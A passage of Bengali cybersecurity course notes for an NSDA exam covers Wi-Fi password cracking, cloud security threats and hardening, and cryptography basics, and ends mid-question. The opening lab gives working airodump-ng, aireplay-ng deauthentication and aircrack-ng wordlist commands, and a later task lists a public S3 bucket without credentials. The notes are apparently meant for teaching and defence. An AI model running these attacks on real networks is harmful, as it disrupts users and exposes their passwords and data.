হ্যান্ডশেক ফাইলটি পেয়ে যাওয়ার পর রাউটারের সাথে সরাসরি কোনো কানেকশন রাখার প্রয়োজন হয় না। পেনটেষ্টার তার নিজের কম্পিউটারে বসে লাখ লাখ পাসওয়ার্ডের একটি টেক্সট ফাইল (Wordlist, যেমন: rockyou.txt) ব্যবহার করে হ্যান্ডশেক ফাইলের ভেতরের ক্রিপ্টোগ্রাফিক হ্যাশের সাথে ম্যাচ করানোর চেষ্টা করেন। যদি ওয়ার্ডলিস্টের কোনো পাসওয়ার্ডের হ্যাশ হ্যান্ডশেকের হ্যাশের সাথে মিলে যায়, তবে আসল পাসওয়ার্ডটি স্ক্রিনে ভেসে ওঠে।

②. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

NSDA পরীক্ষার ল্যাবে সাধারণত Aircrack-ng সুইটের কমান্ডগুলোর ক্লো জানতে চাওয়া হয়। নিচে প্রধান ৩টি কমান্ডের প্র্যাকটিক্যাল ব্যবহার দেওয়া হলো:

- টাস্ক ১: নির্দিষ্ট ওয়াই-ফাইয়ের হ্যান্ডশেক মনিটর করা
- ধরে নিল, টার্গেট ওয়াই-ফাইয়ের ম্যাক অ্যাড্রেস (BSSID) AA:BB:CC:DD:EE:FF এবং এটি চ্যানেল 6-এ চলছে। এর ট্রাফিক একটি ফাইলে সেভ করার কমান্ড:

```
• Bash
```

```
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture_file wlan0mon
```

```
•
```

- টাস্ক ২: ডিঅথেন্টিকেশন অ্যাটাক (**Deauth Attack**) দিয়ে ডিভাইস ডিসকানেক্ট করা
- হ্যান্ডশেক ফাইলটি দ্রুত পাওয়ার জন্য বাতাসে ডিসকানেক্ট প্যাকেট পাঠানোর কমান্ড (অন্য একটি টার্মিনালে রান করতে হয়):

```
• Bash
```

```
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
```

```
•
```

- (ব্যখ্যা: --deauth 10 মানে ১০টি ডিসকানেক্ট প্যাকেট পাঠানো হবে এবং -a দিয়ে রাউটারের ম্যাক অ্যাড্রেস বোঝানো হয়েছে।)
- টাস্ক ৩: এয়ারক্র্যাক-এনজি দিয়ে পাসওয়ার্ড ক্র্যাক করা (**Offline Crack**)
- হ্যান্ডশেক ক্যাপচার হওয়ার পর ল্যাপটপের প্রসেসর বা জিপিউ ব্যবহার করে পাসওয়ার্ড মেলানোর কমান্ড:

```
• Bash
```

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture_file-01.cap
```

```
•
```

- (ব্যখ্যা: -w দিয়ে পাসওয়ার্ডের ওয়ার্ডলিস্ট পথ ধরিয়ে দেওয়া হয়েছে। পাসওয়ার্ডটি স্ট্রিং না হলে এটি দ্রুত ক্র্যাক হয়ে যাবে।)

③. ওয়্যারলেস কাউন্টারমেজারস (Wireless Countermeasures)

ওয়াই-ফাই নেটওয়ার্ক হ্যাকিং থেকে সুরক্ষিত রাখার প্রধান উপায়গুলো হলো:

1. **Strong Passphrase:** পাসওয়ার্ডে অবশ্যই uppercase, lowercase, সংখ্যা এবং স্পেশাল ক্যারেক্টার (যেমন: @, #, \$) থাকতে হবে এবং দৈর্ঘ্য ন্যূনতম ১২-১৫ ক্যারেক্টার হওয়া উচিত, যেন তা ডিকশনারি অ্যাটাকে না ভেঙে পড়ে।
2. **Disable WPS:** রাউটারের সেটিংস থেকে WPS (Wi-Fi Protected Setup) পুরোপুরি বন্ধ রাখতে হবে।

3. **Upgrade to WPA3:** সম্ভব হলে রাউটার ও ডিভাইসে সর্বাধুনিক WPA3 এনক্রিপশন প্রোটোকল ব্যবহার করা উচিত।
4. **Hidden SSID & MAC Filtering:** ওয়াই-ফাইয়ের নাম হাইড করে রাখা এবং শুধুমাত্র নির্দিষ্ট অনুমোদিত ডিভাইসের ম্যাক অ্যাড্রেস (MAC Address) রাউটারে বাইন্ড করে দেওয়া।

④. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: *Wi-Fi* হ্যাকিংয়ের ক্ষেত্রে "*Deauthentication Attack*" কেন করা হয়?
- উত্তর: ডিঅথেন্টিকেশন অ্যাটাক করা হয় অলরেডি কানেক্টেড কোনো ডিভাইসকে রাউটার থেকে সাময়িকভাবে বিচ্ছিন্ন করার জন্য। ডিভাইসটি যখন বিচ্ছিন্ন হওয়ার পর আবার স্বয়ংক্রিয়ভাবে রাউটারের সাথে পুনরায় কানেক্ট (Re-authenticate) হতে চেষ্টা করে, তখন ব্যাকএন্ডে যে **4-Way Handshake** তৈরি হয়, পেনটেস্টাররা অফলাইন ক্র্যাকিংয়ের জন্য সেই ফাইলটি ক্যাপচার করতে পারেন।
- প্রশ্ন ২: হ্যান্ডশেক ফাইল (.cap) পাওয়ার পর পাসওয়ার্ড ক্র্যাকিং সফল হওয়া না হওয়া কিসের ওপর নির্ভর করে?
- উত্তর: এটি সম্পূর্ণভাবে নির্ভর করে আক্রমণকারীর ব্যবহৃত ওয়ার্ডলিস্ট (**Wordlist**) এবং ভিকটিমের পাসওয়ার্ডের জটিলতার ওপর। পাসওয়ার্ডটি যদি কোনো সাধারণ শব্দ বা ডিকশনারির অংশ হয় (যেমন: **password123** বা **12345678**), তবে তা সহজেই ক্র্যাক হবে। কিন্তু পাসওয়ার্ডটি যদি অনেক বড় এবং র‍্যান্ডম ক্যারেক্টারের মিশ্রণ হয়, তবে তা সাধারণ ডিকশনারি অ্যাটাকে ক্র্যাক করা প্রায় অসম্ভব।
- প্রশ্ন ৩: ল্যাবে ওয়্যারলেস পেনটেস্টিংয়ের জন্য ব্যবহৃত "*Aircrack-ng*" সুইচের প্রধান ৩টি টুলের কাজ কী কী?
- উত্তর: প্রধান ৩টি টুল হলো:
 1. **airodump-ng**: বাতাসে ভেসে থাকা ওয়্যারলেস ট্রাফিক এবং হ্যান্ডশেক প্যাকেট লাইভ ক্যাপচার ও ফাইল হিসেবে সেভ করার জন্য।
 2. **aireplay-ng**: নেটওয়ার্কে ডিঅথেন্টিকেশন বা ফেক প্যাকেট ইনজেক্ট (Inject) করার জন্য।
 3. **aircrack-ng**: ক্যাপচার করা হ্যান্ডশেক ফাইলের বিরুদ্ধে অফলাইন ডিকশনারি অ্যাটাক চালিয়ে পাসওয়ার্ড ব্রেক করার জন্য।

আপনার জন্য কাজ (Task for You):

ওয়াই-ফাই ক্র্যাকিংয়ের এই ৩টি মূল কমান্ড (**airodump-ng**, **aireplay-ng**, **aircrack-ng**) এবং কাউন্টারমেজারসগুলো খুব ভালো করে রিভিশন দিয়ে নিন। ওয়্যারলেস মডিউলটি এখানেই শেষ। পড়া সম্পূর্ণ হলে এবং পরবর্তী মডিউল শুরু করতে চাইলে নিচে লিখুন "২০তম ক্লাস" বা "**Class 20**"।



Class 20: Cloud Computing Security & Virtualization Threats

সিলেবাসের অংশ: Apply Cloud Computing Security Concepts — Identify Cloud Computing Threats & Vulnerabilities [OUCyS006L4V!]

১৯তম ক্লাসে আমরা ওয়্যারলেস নেটওয়ার্ক সিকিউরিটি এবং পাসওয়ার্ড ক্র্যাকিংয়ের মডিউলটি সাফল্যের সাথে শেষ করেছি। আজ ২০তম ক্লাস থেকে শুরু হচ্ছে আমাদের সিলেবাসের আরেকটি অত্যন্ত আধুনিক ও গুরুত্বপূর্ণ ২০ ঘন্টার মডিউল: "**Cloud Computing Security**"।

বর্তমান সময়ে প্রায় সব বড় প্রতিষ্ঠান তাদের ডাটা এবং অ্যাপ্লিকেশন লোকাল সার্ভার থেকে সরিয়ে AWS, Azure বা Google Cloud-এর মতো ক্লাউড প্ল্যাটফর্মে স্থানান্তরিত করেছে। এই ক্লাউড এনভায়রনমেন্টের নিরাপত্তা ঝুঁকি এবং চ্যালেঞ্জগুলো কী কী, আজ আমরা তা বিস্তারিত জানব।

১. মূল তত্ত্ব (Core Theory)

ক. ক্লাউড কম্পিউটিং এবং এর প্রকারভেদ (Cloud Models)

ক্লাউড কম্পিউটিং হলো ইন্টারনেটের মাধ্যমে ডিম্যান্ড অনুযায়ী কম্পিউটিং রিসোর্স (যেমন: সার্ভার, স্টোরেজ, ডাটাবেজ, নেটওয়ার্কিং, সফটওয়্যার) ব্যবহারের সুবিধা। এর প্রধান ৩টি সার্ভিস মডেল ভাইবা পরীক্ষার জন্য অত্যন্ত গুরুত্বপূর্ণ:

1. **IaaS (Infrastructure as a Service):** এখানে ক্লাউড কোম্পানি আপনাকে শুধু র-হার্ডওয়্যার বা ভার্চুয়াল মেশিন ভাড়া দেবে (যেমন: AWS EC2, DigitalOcean Droplet)। ওএস ইনস্টল করা থেকে শুরু করে অ্যাপ্লিকেশনের সব সিকিউরিটির দায়িত্ব আপনার।
2. **PaaS (Platform as a Service):** এখানে ওএস এবং রানটাইম এনভায়রনমেন্ট ক্লাউড কোম্পানি নিজেই ম্যানেজ করে, আপনি শুধু আপনার কোড বা অ্যাপ্লিকেশন রান করবেন (যেমন: Vercel, Heroku)।
3. **SaaS (Software as a Service):** এখানে সম্পূর্ণ সফটওয়্যারটিই ক্লাউডে রেডিমেড থাকে, ইউজার শুধু তা ব্যবহার করেন (যেমন: Google Drive, Microsoft 365)।

খ. শেয়ার্ড রেসপন্সিবিলিটি মডেল (**Shared Responsibility Model**)

ক্লাউড সিকিউরিটির মূল মন্ত্র হলো—"সবকিছুর দায় এক পক্ষের নয়"।

- **Security OF the Cloud:** ক্লাউড প্রোভাইডার (যেমন: AWS) তাদের ফিজিক্যাল ডাটা সেন্টারের সিকিউরিটি, হার্ডওয়্যার এবং হাইপারভাইজরের নিরাপত্তার জন্য দায়ী।
- **Security IN the Cloud:** ক্লাউডের ভেতরে আপনি যে ওএস ব্যবহার করছেন, যে ডাটা রাখছেন, এবং যে ইউজারদের অ্যাক্সেস দিচ্ছেন (IAM), তার নিরাপত্তার সম্পূর্ণ দায়িত্ব আপনার (কাস্টমারের)।

গ. ক্লাউড ও ভার্চুয়ালাইজেশনের প্রধান হুমকি (**Cloud Threats**)

1. **Data Breaches:** ক্লাউড যেহেতু ইন্টারনেটে উন্মুক্ত থাকে, তাই দুর্বল কনফিগারেশনের কারণে ডাটা লিক হওয়ার ঝুঁকি সবচেয়ে বেশি থাকে।
2. **Misconfiguration:** এটি ক্লাউড হ্যাকিংয়ের ১ নম্বর কারণ। যেমন: ক্লাউডের ডাটা স্টোরেজ (AWS S3 Bucket) ভুলবশত "Public" করে রাখা, যার ফলে পাসওয়ার্ড ছাড়াই যে কেউ ডাটা ডাউনলোড করতে পারে।
3. **Cloud Jacking / Account Hijacking:** হ্যাকার যদি কোনোভাবে ক্লাউড এডমিনের ক্রেডেনশিয়াল বা API Key চুরি করতে পারে, তবে সে পুরো কোম্পানির ক্লাউড ইনফ্রাস্ট্রাকচার নিজের নিয়ন্ত্রণে নিয়ে নিতে পারে।
4. **VM Escape (ভার্চুয়াল মেশিন এক্সেপ):** এটি একটি অত্যন্ত বিপজ্জনক আর্কিটেকচারাল অ্যাটাক। এখানে হ্যাকার একটি ভার্চুয়াল মেশিনের (VM) ভেতরে বসে ক্লাউডের মূল হাইপারভাইজর (Hypervisor) বা হোস্ট ওএসকে অ্যাটাক করে এবং একই সার্ভারে থাকা অন্যান্য কোম্পানির ভার্চুয়াল মেশিনের ডাটা অ্যাক্সেস করে ফেলে।

②. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (**Practical Tasks**)

পরীক্ষায় এবং বাস্তব কাজের ক্ষেত্রে ক্লাউড মিসকনফিগারেশন অডিট করার প্রাথমিক দক্ষতা যাচাই করা হয়।

টাস্ক ১: **AWS S3 Bucket** মিসকনফিগারেশন চেকিং (**Reconnaissance**)

পেনটেস্টাররা কীভাবে কোনো কোম্পানির ক্লাউড স্টোরেজ ওপেন বা দুর্বল কিনা তা চেক করেন, তার একটি ডামি কমান্ড কনসেপ্ট (AWS CLI ব্যবহার করে):

Bash

```
aws s3 ls s3://target-company-backup/ --no-sign-request
```

(ব্যাখ্যা: `--no-sign-request` এর মানে হলো কোনো লগইন বা সিক্রেট কি ছাড়াই আমি এই ফোল্ডারের ফাইলগুলো দেখতে চাচ্ছি। ফোল্ডারটি যদি ভুলবশত পাবলিক করা থাকে, তবে ভেতরের সব ফাইলের লিস্ট স্ক্রিনে চলে আসবে, যা একটি মারাত্মক ক্লাউড মিসকনফিগারেশন।)

টাস্ক ২: আইডেন্টিটি অ্যান্ড অ্যাক্সেস ম্যানেজমেন্ট (**IAM**) অডিট

ক্লাউড সিকিউরিটি নিশ্চিত করতে সর্বদা **Principle of Least Privilege (PoLP)** নীতি অনুসরণ করতে হয়। অর্থাৎ, কোনো ডেভেলপার বা ইউজারকে তার কাজের জন্য যতটুকু পারমিশন প্রয়োজন, ঠিক ততটুকুই দিতে হবে, কাউকে অপ্রয়োজনীয় "Administrator" অ্যাক্সেস দেওয়া যাবে না।

③. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (**Viva Q&A**)

- প্রশ্ন ১: ক্লাউড সিকিউরিটির ক্ষেত্রে "Shared Responsibility Model" বলতে কী বোঝায়?

- উত্তর: শেয়ার্ড রেসপন্সিবিলিটি মডেল হলো ক্লাউড প্রোভাইডার (যেমন AWS, Azure) এবং কাস্টমারের মধ্যে নিরাপত্তার দায়িত্ব ভাগ করে নেওয়ার একটি বৈশ্বিক ফ্রেমওয়ার্ক। এর মূল কথা হলো—ক্লাউড পরিকাঠামোর নিজস্ব নিরাপত্তা (Security OF the Cloud) নিশ্চিত করবে প্রোভাইডার; আর ক্লাউডের ভেতরে কাস্টমার যে ডাটা, অ্যাপ্লিকেশন, ওএস এবং ইউজার অ্যাকাউন্ট কনফিগার করবেন, তার নিরাপত্তা (Security IN the Cloud) নিশ্চিত করার দায়িত্ব সম্পূর্ণভাবে কাস্টমারের।
- প্রশ্ন ২: ভার্চুয়ালাইজেশনের ক্ষেত্রে "VM Escape" অ্যাটাক কী? এটি কেন মারাত্মক?
- উত্তর: VM Escape হলো এমন একটি আক্রমণ যেখানে হ্যাকার একটি আইসোলেটেড বা বিচ্ছিন্ন ভার্চুয়াল মেশিনের (VM) নিরাপত্তা দেয়াল ভেঙে সরাসরি মূল হোস্ট অপারেটিং সিস্টেম বা হাইপারভাইজরের (Hypervisor) ওপর নিয়ন্ত্রণ প্রতিষ্ঠা করে। এটি অত্যন্ত মারাত্মক কারণ এর মাধ্যমে হ্যাকার একই ফিজিক্যাল সার্ভারে রান হওয়া অন্যান্য সম্পূর্ণ ভিন্ন ক্লায়েন্ট বা কোম্পানির ভার্চুয়াল মেশিনের ডাটায় অননুমোদিত অ্যাক্সেস পেয়ে যেতে পারে।
- প্রশ্ন ৩: ক্লাউড ইনফ্রাস্ট্রাকচার হ্যাক হওয়ার বা ডাটা লিক হওয়ার সবচেয়ে প্রধান কারণ কোনটি?
- উত্তর: ক্লাউড হ্যাকিংয়ের সবচেয়ে প্রধান এবং সাধারণ কারণ হলো **Cloud Misconfiguration** (ভুল কনফিগারেশন)। অনেক সময় আইটি টিম অসাবধানতাবশত ক্লাউড স্টোরেজ যেমন AWS S3 বা Azure Blob অবজেক্টগুলোকে পাবলিকলি উন্মুক্ত রেখে দেয়, অথবা ডিফল্ট এক্সেস কন্ট্রোল পলিসি ঠিকমতো সেট করে না। এর ফলে হ্যাকাররা কোনো জটিল এক্সপ্লয়েট ছাড়াই সরাসরি ডাটা চুরি করার সুযোগ পায়।

আপনার জন্য কাজ (Task for You):

৩টি ক্লাউড মডেল (IaaS, PaaS, SaaS) এবং ক্লাউডের প্রধান হুমকিগুলোর (বিশেষ করে Misconfiguration ও VM Escape) টেকনিক্যাল সংজ্ঞা খুব ভালো করে মুখস্থ করে নিন। পড়া সম্পূর্ণ হলে এবং পরবর্তী ক্লাসের জন্য প্রস্তুত থাকলে নিচে লিখুন "২১তম ক্লাস" বা **"Class 21"**।



Class 21: Cloud Infrastructure Hardening & Cloud Countermeasures

সিলেবাসের অংশ: Apply Cloud Computing Security Concepts — Implement Cloud Security Controls & Countermeasures [OUCyS006L4V!]

২০তম ক্লাসে আমরা ক্লাউড কম্পিউটিংয়ের বিভিন্ন মডেল (IaaS, PaaS, SaaS) এবং ক্লাউডের প্রধান নিরাপত্তা হুমকিগুলো (যেমন: Misconfiguration, VM Escape) সম্পর্কে জেনেছি। আজ ২১তম ক্লাসে আমরা শিখব কীভাবে ক্লাউড ইনফ্রাস্ট্রাকচারকে নিরাপদ বা হার্ডেনিং (Hardening) করতে হয় এবং ক্লাউডের ডাটা সুরক্ষায় কী কী সিকিউরিটি কন্ট্রোল ও কাউন্টারমেজারস ব্যবহার করা বাধ্যতামূলক। এর মাধ্যমে আমাদের "Cloud Computing Security" মডিউলটি সম্পূর্ণ হবে।

১. মূল তত্ত্ব (Core Theory)

ক্লাউড এনভায়রনমেন্টকে হ্যাকারদের হাত থেকে রক্ষা করতে সিকিউরিটি আর্কিটেক্টরা প্রধানত ৪টি স্তরের ওপর ভিত্তি করে ডিফেন্স মেকানিজম তৈরি করেন:

ক. Identity and Access Management (IAM) Hardening

ক্লাউডে ফিজিক্যাল কোনো দেয়াল বা সিকিউরিটি গার্ড থাকে না, তাই **Identity** (পরিচয়)-ই হলো এখানে প্রধান নিরাপত্তা প্রাচীর।

- **MFA (Multi-Factor Authentication):** ক্লাউডের সমস্ত রুট (Root) এবং এডমিন অ্যাকাউন্টে MFA সচল করা বাধ্যতামূলক। এর ফলে শুধু পাসওয়ার্ড চুরি হলেও হ্যাকার লগইন করতে পারে না।
- **Principle of Least Privilege (PoLP):** কোনো ইউজার বা সার্ভিসকে তার কাজের জন্য যতটুকু সর্বনিম্ন পারমিশন প্রয়োজন, ঠিক ততটুকুই দেওয়া। যেমন: একজন ফ্রন্টএন্ড ডেভেলপারকে কেবল ক্লাউড স্টোরেজ রিড (Read) করার পারমিশন দেওয়া উচিত, পুরো ইনফ্রাস্ট্রাকচারের এডমিন অ্যাক্সেস নয়।

খ. Data Encryption (ডাটা এনক্রিপশন)

ক্লাউডে ডাটা সর্বদা দুটি অবস্থায় এনক্রিপ্ট করে রাখতে হয়:

1. **Data-at-Rest:** যখন ডাটা ক্লাউড স্টোরেজে বা ডাটাবেজে জমা হয়ে অলস বসে থাকে (যেমন: AWS S3 বা EBS-এ সংরক্ষিত ফাইল)। এটি সাধারণত **AES-256** অ্যালগরিদমে এনক্রিপ্ট করা হয়।
2. **Data-in-Transit:** যখন ডাটা ইন্টারনেট বা নেটওয়ার্কের মাধ্যমে এক স্থান থেকে অন্য স্থানে যাতায়াত করে (যেমন: ব্রাউজার থেকে ক্লাউড সার্ভারে ডাটা পাঠানো)। এটি **TLS/HTTPS** প্রোটোকল দিয়ে সুরক্ষিত করা হয়।

গ. Network Isolation (VPC)

ক্লাউডের ভেতরের পাবলিক এবং প্রাইভেট রিসোর্সগুলোকে আলাদা করতে **VPC (Virtual Private Cloud)** ব্যবহার করা হয়। এর মাধ্যমে আপনি নিজের মতো করে একটি সাবনেট এবং ফায়ারওয়াল রুলস (Security Groups) তৈরি করে ডাটাবেজ বা ব্যাকএন্ড সার্ভারকে ইন্টারনেট থেকে সম্পূর্ণ বিচ্ছিন্ন করে রাখতে পারেন।

②. ল্যাব ও প্র্যাক্টিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার ল্যাবে বা ভাইভায় ক্লাউড ট্রাফিকের সিকিউরিটি টুলস এবং অডিটিং মেথডলজি সম্পর্কে জানতে চাওয়া হয়।

টাস্ক ১: **AWS CloudTrail** ও লোগিং কনসেপ্ট

ক্লাউড সিকিউরিটি মনিটরিংয়ের জন্য লগ ট্র্যাকিং অত্যন্ত জরুরি। যেমন AWS-এ **CloudTrail** নামক একটি সার্ভিস ব্যবহার করা হয়, যা ক্লাউডের ভেতরে কে, কখন, কোন আইপি থেকে, কী কমান্ড রান করেছে (যেমন: নতুন কোনো ভার্সুয়াল মেশিন ডিলিট বা ক্রিয়েট করা) তার প্রতি সেকেন্ডের হিস্তি বা লগ রেকর্ড করে। পেনটেস্টিংয়ের সময় এই লগগুলো অডিট করা শিখতে হয়।

টাস্ক ২: ক্লাউড সিকিউরিটি অডিটিং টুলস (**Prowler / Scout Suite**)

বাস্তব ক্ষেত্রে পেনটেস্টাররা ম্যানুয়ালি ক্লাউডের হাজার হাজার কনফিগারেশন চেক না করে অটোমেটেড ওপেন-সোর্স টুল ব্যবহার করেন। লিনাক্স টার্মিনালে এর ব্যবহারিক ধারণা:

```
Bash
```

```
prowler aws --services s3 iam
```

(ব্যখ্যা: এই কমান্ডটি আপনার ক্লাউড ইনফ্রাস্ট্রাকচারের **S3** এবং **IAM** সেটিংসের ওপর একটি কমপ্লায়েন্স এবং সিকিউরিটি স্ক্যান চালিয়ে কোথায় কোথায় দুর্বলতা বা লিকেজ আছে তা লাল/সবুজ কালারের রিপোর্টে দেখাবে।)

③. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: ক্লাউড সিকিউরিটির ক্ষেত্রে **"Principle of Least Privilege (PoLP)"** নীতিটি কীভাবে কাজ করে?
- উত্তর: এই নীতির মূল কথা হলো—যেকোনো ব্যবহারকারী, প্রোগ্রাম বা সিস্টেম প্রসেসকে তার সুনির্দিষ্ট দায়িত্ব পালনের জন্য ঠিক যতটুকু ন্যূনতম অ্যাক্সেস বা পারমিশন প্রয়োজন, কেবল ততটুকুই প্রদান করা। এর ফলে কোনো ইউজারের অ্যাকাউন্ট যদি হ্যাকও হয়ে যায়, তবে হ্যাকার পুরো ক্লাউড সিস্টেমের ক্ষতি করতে পারে না, বরং ক্ষয়ক্ষতির পরিমাণ ওই নির্দিষ্ট অ্যাকাউন্টের সীমিত পারমিশনের মধ্যেই সীমাবদ্ধ থাকে।
- প্রশ্ন ২: **Data-at-Rest** এবং **Data-in-Transit** এর মধ্যে মূল পার্থক্য কী? এগুলো ক্লাউডে কীভাবে সুরক্ষিত করা হয়?
- উত্তর: **Data-at-Rest** হলো ক্লাউড স্টোরেজ, হার্ডডিস্ক বা ডাটাবেজে স্থায়ীভাবে সংরক্ষিত ডেটা; একে সুরক্ষিত করতে **AES-256**-এর মতো স্ট্রিং সিমেন্ট্রিক এনক্রিপশন বা **KMS (Key Management Service)** ব্যবহার করা হয়। আর **Data-in-Transit** হলো নেটওয়ার্ক বা ইন্টারনেটের মাধ্যমে এক ডিভাইস থেকে অন্য ডিভাইসে চলমান বা স্থানান্তরিত ডেটা; একে সুরক্ষিত করতে **TLS/HTTPS** প্রোটোকল দিয়ে ট্রাফিক এনক্রিপ্ট করা হয়।
- প্রশ্ন ৩: ভার্সুয়াল প্রাইভেট ক্লাউড (**VPC**) এবং সিকিউরিটি গ্রুপ (**Security Group**) কেন ব্যবহার করা হয়?
- উত্তর: **VPC** ব্যবহার করা হয় ক্লাউডের ভেতরে একটি সম্পূর্ণ আইসোলেটেড বা নিজস্ব লজিক্যাল নেটওয়ার্ক তৈরি করার জন্য, যাতে বাইরের পাবলিক নেটওয়ার্ক থেকে আপনার সার্ভার সুরক্ষিত থাকে। আর সিকিউরিটি গ্রুপ হলো একটি ভার্সুয়াল ফায়ারওয়াল যা নির্দিষ্ট ভার্সুয়াল মেশিনের ইনবান্ড (Inbound) এবং আউটবান্ড (Outbound) ট্রাফিকের সোর্স আইপি ও পোর্ট কঠোরভাবে ফিল্টার বা নিয়ন্ত্রণ করতে ব্যবহার করা হয়।

আপনার জন্য কাজ (**Task for You**):

MFA, PoLP, এবং ডাটার দুটি এনক্রিপশন স্টেটের (At-Rest ও In-Transit) সুনির্দিষ্ট কারিগরি সংজ্ঞা ও পার্থক্য খুব ভালো করে মুখস্থ করে নিও। ক্লাউড সিকিউরিটি মডিউলটি এখানেই সফলভাবে সম্পন্ন হলো। পড়া শেষ হলে এবং পরবর্তী নতুন মডিউলের জন্য প্রস্তুত থাকলে নিচে লিখুন "২২তম ক্লাস" বা "**Class 22**"।



Class 22: Cryptography & Encryption Core Concepts

সিলেবাসের অংশ: Apply Cryptography Concepts — Interpret Cryptography Concepts & Encryption Algorithms [OUCyS010L4V!]

২১তম ক্লাসে আমরা ক্লাউড সিকিউরিটি মডিউলটি শেষ করেছি। আজ ২২তম ক্লাস থেকে শুরু হচ্ছে আমাদের সিলেবাসের সর্বশেষ এবং অত্যন্ত গুরুত্বপূর্ণ ২৫ ঘণ্টার মডিউল: "**Cryptography (ক্রিপ্টোগ্রাফি)**"।

সাইবার সিকিউরিটির যেকোনো ক্ষেত্রে—তা হোক পাসওয়ার্ড সেভিং, ওয়াই-ফাই সিকিউরিটি, কিংবা ডাটা ট্রান্সমিশন—সবকিছুর মূল ভিত্তি হলো ক্রিপ্টোগ্রাফি। ডাটা কীভাবে লক এবং আনলক হয়, আজ আমরা তার মৌলিক বিষয়গুলো জানব।

১. মূল তত্ত্ব (Core Theory)

ক. ক্রিপ্টোগ্রাফি কী?

ক্রিপ্টোগ্রাফি হলো এমন একটি বিজ্ঞান বা গাণিতিক পদ্ধতি, যার মাধ্যমে সাধারণ কোনো তথ্য বা মেসেজকে একটি অপাঠ্য (Readable নয় এমন) ফরম্যাটে রূপান্তর করে গোপন রাখা হয়, যেন অননুমোদিত কোনো ব্যক্তি বা হ্যাকার তা পড়তে না পারে।

খ. বেসিক টার্মিনোলজি (Core Terms)

- **Plaintext:** আসল বা সাধারণ তথ্য যা যে কেউ পড়তে পারে (যেমন: Hello123).
- **Ciphertext:** এনক্রিপ্ট করার পর তৈরি হওয়া অপাঠ্য বা হিজিবিজি কোড (যেমন: x7Y@m9!z).
- **Encryption:** প্লেইনটেক্সটকে সাইফারটেক্সটে রূপান্তর করার প্রক্রিয়া।
- **Decryption:** সাইফারটেক্সটকে পুনরায় আগের আসল প্লেইনটেক্সটে ফিরিয়ে আনার প্রক্রিয়া।
- **Key (চাবি):** একটি নির্দিষ্ট সিক্রেট ভ্যালু বা স্ট্রিং, যা এনক্রিপশন ও ডিক্রিপশন অ্যালগরিদমের সাথে যুক্ত হয়ে আউটপুট নির্ধারণ করে। চাবি ছাড়া লক খোলা অসম্ভব।

গ. ক্রিপ্টোগ্রাফির প্রকারভেদ (Types of Cryptography)

ক্রিপ্টোগ্রাফি প্রধানত দুটি পদ্ধতিতে কাজ করে, যা ভাইবা বোর্ডে সবসময় জানতে চাওয়া হয়:

১. Symmetric Cryptography (সিমেট্রিক ক্রিপ্টোগ্রাফি)

এই পদ্ধতিতে ডাটা এনক্রিপ্ট এবং ডিক্রিপ্ট উভয় কাজের জন্যই একটি মাত্র গোপন চাবি (Single Shared Key) ব্যবহার করা হয়।

- বৈশিষ্ট্য: এটি অত্যন্ত দ্রুত কাজ করে এবং বড় ফাইল এনক্রিপ্ট করতে ব্যবহৃত হয়।
- উদাহরণ: **AES (Advanced Encryption Standard)**, DES, 3DES।
- চ্যালেঞ্জ: চাবিটি যদি ইন্টারনেটের মাধ্যমে অন্য পক্ষকে পাঠাতে গিয়ে হ্যাকারের হাতে পড়ে, তবে পুরো সিকিউরিটি নষ্ট হয়ে যায় (Key Distribution Problem)।

২. Asymmetric Cryptography (অ্যাসিমেট্রিক ক্রিপ্টোগ্রাফি)

এই পদ্ধতিতে একটি চাবির বদলে দুটি আলাদা চাবির জোড়া (Key Pair) ব্যবহার করা হয়:

- **Public Key:** এই চাবিটি সবার জন্য উন্মুক্ত থাকে। যে কেউ এটি দিয়ে ডাটা এনক্রিপ্ট করতে পারে।
- **Private Key:** এই চাবিটি সম্পূর্ণ গোপন রাখা হয় এবং এটি কেবল মালিকের কাছে থাকে। পাবলিক কি দিয়ে এনক্রিপ্ট করা ডাটা কেবল এই প্রাইভেট কি দিয়েই ডিক্রিপ্ট করা সম্ভব।
- উদাহরণ: **RSA**, ECC (Elliptic Curve Cryptography), Diffie-Hellman।

②. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার ল্যাবে লিনাক্স কমান্ডের সাহায্যে কোনো ফাইল ক্রিপ্টোগ্রাফিক্যালি এনক্রিপ্ট এবং ডিক্রিপ্ট করার দক্ষতা যাচাই করা হয়।

টাস্ক ১: **OpenSSL** ব্যবহার করে সিমেন্ট্রিক এনক্রিপশন (**AES-256**)

আপনার টার্মিনালে একটি সাধারণ টেক্সট ফাইল তৈরি করে তা শক্তিশালী AES-256 অ্যালগরিদমে লক করার কমান্ড:

Bash

```
openssl enc -aes-256-cbc -salt -in secret.txt -out secret.txt.enc
```

(ব্যখ্যা: এই কমান্ডটি রান করলে আপনার কাছে একটি পাসওয়ার্ড বা চাবি চাইবে। সেই চাবি দিয়ে **secret.txt** ফাইলটি এনক্রিপ্ট হয়ে **secret.txt.enc** ফাইলে রূপান্তরিত হবে।)

টাস্ক ২: ফাইল ডিক্রিপশন বা আনলক করা

এনক্রিপ্ট হওয়া ফাইলটিকে আগের অবস্থায় ফিরিয়ে আনার কমান্ড:

Bash

```
openssl enc -d -aes-256-cbc -in secret.txt.enc -out recovered.txt
```

(ব্যখ্যা: **-d** মানে *Decrypt*। সঠিক পাসওয়ার্ডটি দিলেই কেবল ফাইলটি আনলক হয়ে **recovered.txt** নামে সেভ হবে।)

③. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (**Viva Q&A**)

- প্রশ্ন ১: *Symmetric* এবং *Asymmetric* এনক্রিপশনের মধ্যে প্রধান টেকনিক্যাল পার্থক্য কী?
